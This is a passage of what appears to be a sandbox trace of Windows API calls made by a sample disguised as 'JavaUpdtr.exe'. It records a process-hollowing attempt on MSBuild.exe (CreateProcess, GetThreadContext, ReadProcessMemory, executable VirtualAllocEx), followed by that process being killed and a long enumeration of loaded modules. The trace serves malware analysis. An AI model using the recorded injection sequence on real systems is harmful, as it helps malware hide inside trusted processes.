dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31caf8 | out: lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe\"", lpProcessInformation=0x31caf8*(hProcess=0x204, hThread=0x200, dwProcessId=0x708, dwThreadId=0x70c)) returned 1 [0116.263] GetThreadContext (in: hThread=0x200, lpContext=0x2767d64 | out: lpContext=0x2767d64*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xfcd2de, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0116.263] ReadProcessMemory (in: hProcess=0x204, lpBaseAddress=0x7efde008, lpBuffer=0x31cae4, nSize=0x4, lpNumberOfBytesRead=0x31cb08 | out: lpBuffer=0x31cae4*, lpNumberOfBytesRead=0x31cb08*=0x4) returned 1 [0116.263] VirtualAllocEx (hProcess=0x204, lpAddress=0x400000, dwSize=0x58000, flAllocationType=0x3000, flProtect=0x40) returned 0x0 [0116.273] EnumProcesses (in: lpidProcess=0x27682d4, cb=0x400, lpcbNeeded=0x31c9a8 | out: lpidProcess=0x27682d4, lpcbNeeded=0x31c9a8) returned 1 [0116.277] GetLastError () returned 0x1e7 [0116.277] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x708) returned 0x20c [0116.277] GetLastError () returned 0x1e7 [0116.278] TerminateProcess (hProcess=0x20c, uExitCode=0xffffffff) returned 1 [0116.279] GetLastError () returned 0x1e7 [0116.279] CloseHandle (hObject=0x20c) returned 1 [0116.279] GetLastError () returned 0x1e7 [0116.280] GetCurrentProcessId () returned 0x4e8 [0116.280] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x20c [0116.280] GetLastError () returned 0x1e7 [0116.280] EnumProcessModules (in: hProcess=0x20c, lphModule=0x276968c, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x276968c, lpcbNeeded=0x31c9a8) returned 1 [0116.280] GetLastError () returned 0x1e7 [0116.280] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x27697cc, cb=0xc | out: lpmodinfo=0x27697cc*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.280] GetLastError () returned 0x1e7 [0116.281] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.281] GetLastError () returned 0x1e7 [0116.281] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.281] GetLastError () returned 0x1e7 [0116.281] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x276a930, cb=0xc | out: lpmodinfo=0x276a930*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.281] GetLastError () returned 0x1e7 [0116.281] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.281] GetLastError () returned 0x1e7 [0116.281] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.282] GetLastError () returned 0x1e7 [0116.282] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x276ba24, cb=0xc | out: lpmodinfo=0x276ba24*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.282] GetLastError () returned 0x1e7 [0116.282] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.282] GetLastError () returned 0x1e7 [0116.282] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.282] GetLastError () returned 0x1e7 [0116.282] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x276cb20, cb=0xc | out: lpmodinfo=0x276cb20*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.283] GetLastError () returned 0x1e7 [0116.283] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.283] GetLastError () returned 0x1e7 [0116.283] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.283] GetLastError () returned 0x1e7 [0116.283] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x276dc24, cb=0xc | out: lpmodinfo=0x276dc24*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.283] GetLastError () returned 0x1e7 [0116.283] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.283] GetLastError () returned 0x1e7 [0116.284] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.284] GetLastError () returned 0x1e7 [0116.284] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x276ed60, cb=0xc | out: lpmodinfo=0x276ed60*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.284] GetLastError () returned 0x1e7 [0116.284] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.284] GetLastError () returned 0x1e7 [0116.284] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.285] GetLastError () returned 0x1e7 [0116.285] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x276fe64, cb=0xc | out: lpmodinfo=0x276fe64*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.285] GetLastError () returned 0x1e7 [0116.285] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.285] GetLastError () returned 0x1e7 [0116.285] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.285] GetLastError () returned 0x1e7 [0116.285] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x2770f60, cb=0xc | out: lpmodinfo=0x2770f60*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.286] GetLastError () returned 0x1e7 [0116.286] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.286] GetLastError () returned 0x1e7 [0116.286] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.286] GetLastError () returned 0x1e7 [0116.286] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x277205c, cb=0xc | out: lpmodinfo=0x277205c*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.287] GetLastError () returned 0x1e7 [0116.287] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.287] GetLastError () returned 0x1e7 [0116.287] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.287] GetLastError () returned 0x1e7 [0116.287] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x27731a8, cb=0xc | out: lpmodinfo=0x27731a8*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.288] GetLastError () returned 0x1e7 [0116.288] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.288] GetLastError () returned 0x1e7 [0116.288] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.288] GetLastError () returned 0x1e7 [0116.288] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x27742a4, cb=0xc | out: lpmodinfo=0x27742a4*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.288] GetLastError () returned 0x1e7 [0116.289] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.289] GetLastError () returned 0x1e7 [0116.289] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.289] GetLastError () returned 0x1e7 [0116.289] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x27753a8, cb=0xc | out: lpmodinfo=0x27753a8*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.290] GetLastError () returned 0x1e7 [0116.290] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.290] GetLastError () returned 0x1e7 [0116.290] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.290] GetLastError () returned 0x1e7 [0116.290] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x27764e0, cb=0xc | out: lpmodinfo=0x27764e0*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.291] GetLastError () returned 0x1e7 [0116.291] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.291] GetLastError () returned 0x1e7 [0116.291] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.291] GetLastError () returned 0x1e7 [0116.291] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x27775dc, cb=0xc | out: lpmodinfo=0x27775dc*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.292] GetLastError () returned 0x1e7 [0116.292] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.294] GetLastError () returned 0x1e7 [0116.294] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.295] GetLastError () returned 0x1e7 [0116.295] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x27786d0, cb=0xc | out: lpmodinfo=0x27786d0*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.295] GetLastError () returned 0x1e7 [0116.295] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.295] GetLastError () returned 0x1e7 [0116.295] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.296] GetLastError () returned 0x1e7 [0116.296] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x27797cc, cb=0xc | out: lpmodinfo=0x27797cc*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.296] GetLastError () returned 0x1e7 [0116.296] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.296] GetLastError () returned 0x1e7 [0116.297] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.297] GetLastError () returned 0x1e7 [0116.297] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x277a8b8, cb=0xc | out: lpmodinfo=0x277a8b8*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.297] GetLastError () returned 0x1e7 [0116.297] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.298] GetLastError () returned 0x1e7 [0116.298] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.298] GetLastError () returned 0x1e7 [0116.298] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x277ba3c, cb=0xc | out: lpmodinfo=0x277ba3c*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.299] GetLastError () returned 0x1e7 [0116.299] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.299] GetLastError () returned 0x1e7 [0116.299] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.299] GetLastError () returned 0x1e7 [0116.300] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x277cb30, cb=0xc | out: lpmodinfo=0x277cb30*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.300] GetLastError () returned 0x1e7 [0116.300] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.300] GetLastError () returned 0x1e7 [0116.300] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.301] GetLastError () returned 0x1e7 [0116.301] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x277dc24, cb=0xc | out: lpmodinfo=0x277dc24*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.301] GetLastError () returned 0x1e7 [0116.301] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.302] GetLastError () returned 0x1e7 [0116.302] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.302] GetLastError () returned 0x1e7 [0116.302] GetModuleInformation (in: hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x277ed20, cb=0xc | out: lpmodinfo=0x277ed20*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.303] GetLastError () returned 0x1e7 [0116.303] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.303] GetLastError () returned 0x1e7 [0116.303] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.304] GetLastError () returned 0x1e7 [0116.304] GetModuleInformation (in: hProcess=0x20c, 